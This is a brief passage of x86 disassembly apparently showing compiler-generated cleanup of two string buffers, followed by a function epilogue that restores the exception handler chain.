cmp ecx, 0x1000
jb 0x42b5a5
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42b60a
push ecx
push edx
call fcn.004fb0f1
add esp, 8
mov ecx, dword [ebx + 0x68]
mov dword [ebx + 0x4c], 0
mov dword [ebx + 0x50], 0xf
mov byte [ebx + 0x3c], 0
cmp ecx, 0x10
jb 0x42b5f1
mov edx, dword [ebx + 0x54]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42b5e7
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42b60a
push ecx
push edx
call fcn.004fb0f1
add esp, 8
mov eax, dword [ebp - 0xb0]
mov ecx, dword [ebp - 0xc]
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.00500390
call fcn.004023f0
int3